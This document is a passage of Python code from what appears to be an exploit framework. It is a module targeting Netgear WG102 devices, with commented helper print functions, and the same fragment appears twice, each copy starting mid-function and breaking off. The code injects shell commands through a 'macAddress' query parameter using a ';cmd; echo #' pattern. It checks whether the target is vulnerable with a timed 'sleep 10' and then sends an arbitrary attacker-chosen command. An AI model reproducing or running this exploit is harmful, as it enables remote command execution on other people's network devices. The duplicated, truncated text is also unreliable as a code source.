# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_help(*args, **kwargs):
#     print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)


import core.Exploit
import core.io
import requests
import interface.utils
import datetime
from interface.messages import print_error, print_success, print_help, print_info, \
    print_warning
        file = ""
        for file in self.files:
            print_info("Testing file: " + file)
            url = "http://%s:%s/%s?writeData=true&reginfo=0&macAddress= 001122334455 -c 0 ;" \
                  "%s; echo #" % (self.host, self.port, file, "sleep 10")
            try:
                print_info("Doing timebased check with sleep 10")
                time_start = datetime.datetime.now()
                response = requests.get(url=url, timeout=60)
                time_end = datetime.datetime.now()
                delta = time_end - time_start
                if response.status_code == 200 and "Update Success!" in response.text:
                    if 13 > delta.seconds > 9:
                        print_success("Timebased check OK target should be vulnerable")
                    else:
                        print_warning("Timebased check failed, but target still might be vulnerable")
                    break
            except requests.Timeout:
                print_error("timeout")
            except requests.ConnectionError:
                print_error("exploit failed")
        print_success("Vulnerable file:" + file)
        print_info("Sending command")
        url = "http://%s:%s/%s?writeData=true&reginfo=0&macAddress= 001122334455 -c 0 ;" \
              "%s; echo #" % (self.host, self.port, file, self.command)
        try:
            response = requests.get(url=url, timeout=60)
            if response.status_code == 200 and "Update Success!" in response.text:
                print_success("command sent")
        except requests.Timeout:

# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_help(*args, **kwargs):
#     print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)


# Path: modules/exploits/netgear/wg102_exec.py
import core.Exploit
import core.io
import requests
import interface.utils
import datetime
from interface.messages import print_error, print_success, print_help, print_info, \
    print_warning

        file = ""
        for file in self.files:
            print_info("Testing file: " + file)
            url = "http://%s:%s/%s?writeData=true&reginfo=0&macAddress= 001122334455 -c 0 ;" \
                  "%s; echo #" % (self.host, self.port, file, "sleep 10")
            try:
                print_info("Doing timebased check with sleep 10")
                time_start = datetime.datetime.now()
                response = requests.get(url=url, timeout=60)
                time_end = datetime.datetime.now()
                delta = time_end - time_start
                if response.status_code == 200 and "Update Success!" in response.text:
                    if 13 > delta.seconds > 9:
                        print_success("Timebased check OK target should be vulnerable")
                    else:
                        print_warning("Timebased check failed, but target still might be vulnerable")
                    break
            except requests.Timeout:
                print_error("timeout")
            except requests.ConnectionError:
                print_error("exploit failed")
        print_success("Vulnerable file:" + file)
        print_info("Sending command")
        url = "http://%s:%s/%s?writeData=true&reginfo=0&macAddress= 001122334455 -c 0 ;" \
              "%s; echo #" % (self.host, self.port, file, self.command)
        try:
            response = requests.get(url=url, timeout=60)
            if response.status_code == 200 and "Update Success!" in response.text:
                print_success("command sent")
        except requests.Timeout:

            print_error("timeout")